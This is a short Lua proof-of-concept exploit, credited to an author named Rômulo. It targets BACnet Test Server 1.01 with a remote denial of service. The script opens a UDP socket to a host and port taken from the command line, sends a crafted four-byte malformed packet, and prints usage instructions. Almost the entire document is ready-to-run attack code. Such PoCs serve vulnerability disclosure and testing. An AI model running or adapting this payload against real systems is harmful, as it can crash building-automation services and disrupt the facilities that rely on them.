-- Title => BACnet Test Server 1.01 - Remote Denial of Service (PoC)
-- Author => Rômulo, @uromulou
--
-- You need luasocket to run the exploit.
-- Using luarocks : luarocks install luasocket
main = function(host, port)
local socket = require "socket"
local udp = socket.udp()
local data = "\x81\x09\xFF\xFE"
print("Connecting to the server...")
udp:settimeout(1)
udp:setsockname("*", 0)
udp:setpeername(host, port)
print("Sending malicious packages...")
udp:send(data)
end
print("=> BACnet Test Server 1.01 - Remote Denial of Service (PoC)")
print("=> This was written by Rômulo, @uromulou.\n")
if #arg < 2 then
print("-> lua exploit.lua [HOST] [PORT]")
print("-> lua exploit.lua 127.0.0.1 47808")
else
main(arg[1], arg[2])
end
